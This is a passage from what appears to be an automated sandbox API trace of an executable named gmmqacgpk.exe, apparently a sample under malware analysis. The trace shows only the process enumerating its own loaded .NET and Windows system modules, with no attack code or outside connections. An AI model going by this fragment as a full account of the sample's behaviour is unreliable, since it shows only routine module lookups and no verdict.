"c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.691] GetLastError () returned 0x7f [0033.691] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x28e00f4, cb=0xc | out: lpmodinfo=0x28e00f4*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.692] GetLastError () returned 0x7f [0033.692] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.692] GetLastError () returned 0x7f [0033.692] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.693] GetLastError () returned 0x7f [0033.693] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x28e1280, cb=0xc | out: lpmodinfo=0x28e1280*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.694] GetLastError () returned 0x7f [0033.694] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.694] GetLastError () returned 0x7f [0033.695] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.695] GetLastError () returned 0x7f [0033.695] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x28e243c, cb=0xc | out: lpmodinfo=0x28e243c*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.696] GetLastError () returned 0x7f [0033.696] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.696] GetLastError () returned 0x7f [0033.696] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.697] GetLastError () returned 0x7f [0033.697] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x28e3620, cb=0xc | out: lpmodinfo=0x28e3620*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.698] GetLastError () returned 0x7f [0033.698] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.698] GetLastError () returned 0x7f [0033.698] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.699] GetLastError () returned 0x7f [0033.699] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x28e47c0, cb=0xc | out: lpmodinfo=0x28e47c0*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.700] GetLastError () returned 0x7f [0033.700] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.700] GetLastError () returned 0x7f [0033.700] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.701] GetLastError () returned 0x7f [0033.701] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x28e59e4, cb=0xc | out: lpmodinfo=0x28e59e4*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.702] GetLastError () returned 0x7f [0033.702] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.702] GetLastError () returned 0x7f [0033.702] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.703] GetLastError () returned 0x7f [0033.703] CloseHandle (hObject=0x200) returned 1 [0033.703] GetLastError () returned 0x7f [0033.717] GetCurrentProcessId () returned 0xa60 [0033.717] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.717] GetLastError () returned 0x7f [0033.717] EnumProcessModules (in: hProcess=0x200, lphModule=0x2997b6c, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x2997b6c, lpcbNeeded=0x30cdb8) returned 1 [0033.717] GetLastError () returned 0x7f [0033.717] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x2997cac, cb=0xc | out: lpmodinfo=0x2997cac*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.718] GetLastError () returned 0x7f [0033.718] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.718] GetLastError () returned 0x7f [0033.718] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.718] GetLastError () returned 0x7f [0033.718] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x2998df4, cb=0xc | out: lpmodinfo=0x2998df4*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.718] GetLastError () returned 0x7f [0033.718] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.718] GetLastError () returned 0x7f [0033.719] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.719] GetLastError () returned 0x7f [0033.719] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x2999ee8, cb=0xc | out: lpmodinfo=0x2999ee8*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.719] GetLastError () returned 0x7f [0033.719] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.719] GetLastError () returned 0x7f [0033.719] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.719] GetLastError () returned 0x7f [0033.720] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x299afe4, cb=0xc | out: lpmodinfo=0x299afe4*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.720] GetLastError () returned 0x7f [0033.720] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.720] GetLastError () returned 0x7f [0033.720] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.720] GetLastError () returned 0x7f [0033.720] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x299c0e8, cb=0xc | out: lpmodinfo=0x299c0e8*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.720] GetLastError () returned 0x7f [0033.721] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.721] GetLastError () returned 0x7f [0033.721] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.721] GetLastError () returned 0x7f [0033.721] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x299d224, cb=0xc | out: lpmodinfo=0x299d224*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.721] GetLastError () returned 0x7f [0033.721] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.722] GetLastError () returned 0x7f [0033.722] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.722] GetLastError () returned 0x7f [0033.722] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x299e328, cb=0xc | out: lpmodinfo=0x299e328*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.722] GetLastError () returned 0x7f [0033.722] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.722] GetLastError () returned 0x7f [0033.723] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.723] GetLastError () returned 0x7f [0033.723] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x299f424, cb=0xc | out: lpmodinfo=0x299f424*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.723] GetLastError () returned 0x7f [0033.723] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.723] GetLastError () returned 0x7f [0033.723] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.724] GetLastError () returned 0x7f [0033.724] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x29a0520, cb=0xc | out: lpmodinfo=0x29a0520*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.724] GetLastError () returned 0x7f [0033.724] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.724] GetLastError () returned 0x7f [0033.724] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.725] GetLastError () returned 0x7f [0033.725] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x29a166c, cb=0xc | out: lpmodinfo=0x29a166c*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.725] GetLastError () returned 0x7f [0033.725] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.726] GetLastError () returned 0x7f [0033.726] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.726] GetLastError () returned 0x7f [0033.726] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x29a2768, cb=0xc | out: lpmodinfo=0x29a2768*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.726] GetLastError () returned 0x7f [0033.726] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.727] GetLastError () returned 0x7f [0033.727] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.727] GetLastError () returned 0x7f [0033.727] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x29a386c, cb=0xc | out: lpmodinfo=0x29a386c*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.727] GetLastError () returned 0x7f [0033.727] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.728] GetLastError () returned 0x7f [0033.728] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.728] GetLastError () returned 0x7f [0033.728] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x29a49a4, cb=0xc | out: lpmodinfo=0x29a49a4*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.728] GetLastError () returned 0x7f [0033.728] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.729] GetLastError () returned 0x7f [0033.729] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.729] GetLastError () returned 0x7f [0033.729] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x29a5aa0, cb=0xc | out: lpmodinfo=0x29a5aa0*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.730] GetLastError () returned 0x7f [0033.730] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.730] GetLastError () returned 0x7f [0033.730] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.730] GetLastError () returned 0x7f [0033.730] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x29a6b94, cb=0xc | out: lpmodinfo=0x29a6b94*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.731] GetLastError () returned 0x7f [0033.731] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.731] GetLastError () returned 0x7f [0033.731] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.732] GetLastError () returned 0x7f [0033.732] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x29a7c90, cb=0xc | out: lpmodinfo=0x29a7c90*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.732] GetLastError () returned 0x7f [0033.732] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.732] GetLastError () returned 0x7f [0033.732] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.733] GetLastError () returned 0x7f [0033.733] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x29a8d7c, cb=0xc | out: lpmodinfo=0x29a8d7c*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.733] GetLastError () returned 0x7f [0033.733] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.734] GetLastError () returned 0x7f [0033.734] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.734] GetLastError () returned 0x7f [0033.734] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x29a9f00, cb=0xc | out: lpmodinfo=0x29a9f00*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.735] GetLastError () returned 0x7f [0033.735] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.735] GetLastError () returned 0x7f [0033.735] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.735] GetLastError () returned 0x7f [0033.736] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x29aaff4, cb=0xc | out: lpmodinfo=0x29aaff4*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.736] GetLastError () returned 0x7f [0033.736] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.736] GetLastError () returned 0x7f [0033.736] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.737] GetLastError () returned 0x7f [0033.737] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x29ac0e8, cb=0xc | out: lpmodinfo=0x29ac0e8*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.737] GetLastError () returned 0x7f [0033.737] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.738] GetLastError () returned 0x7f [0033.738] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.738] GetLastError () returned 0x7f [0033.738] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x29ad1e4, cb=0xc | out: lpmodinfo=0x29ad1e4*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.739] GetLastError () returned 0x7f [0033.739] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.739] GetLastError () returned 0x7f [0033.739] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.740] GetLastError () returned 0x7f [0033.740] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x29ae31c, cb=0xc | out: lpmodinfo=0x29ae31c*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.740] GetLastError () returned 0x7f [0033.740] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.741] GetLastError () returned 0x7f [0033.741] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.741] GetLastError () returned 0x7f [0033.741] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x29af4b0, cb=0xc | out: lpmodinfo=0x29af4b0*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.742] GetLastError () returned 0x7f [0033.742] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.742] GetLastError () returned 0x7f [0033.742] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.743] GetLastError () returned 0x7f [0033.743] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x29b05ac, cb=0xc | out: lpmodinfo=0x29b05ac*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.743] GetLastError () returned 0x7f [0033.744] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.744] GetLastError () returned 0x7f [0033.744] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.745] GetLastError () returned 0x7f [0033.745] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x29b16a0, cb=0xc | out: lpmodinfo=0x29b16a0*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.745] GetLastError () returned 0x7f [0033.745] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.746] GetLastError () returned 0x7f [0033.746] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.746] GetLastError () returned 0x7f [0033.746] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x29b279c, cb=0xc | out: lpmodinfo=0x29b279c*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.747] GetLastError () returned 0x7f [0033.747] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.747] GetLastError () returned 0x7f [0033.747] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.748] GetLastError () returned 0x7f [0033.748] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x29b3934, cb=0xc | out: lpmodinfo=0x29b3934*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.748] GetLastError () returned 0x7f [0033.748] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.749] GetLastError () returned 0x7f [0033.749] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.750] GetLastError () returned 0x7f [0033.750] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x29b4a30, cb=0xc | out: lpmodinfo=0x29b4a30*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.750] GetLastError () returned 0x7f [0033.750] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.751] GetLastError () returned 0x7f [0033.751] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.751] GetLastError () returned 0x7f [0033.751] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x29b5b68, cb=0xc | out: lpmodinfo=0x29b5b68*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.752] GetLastError () 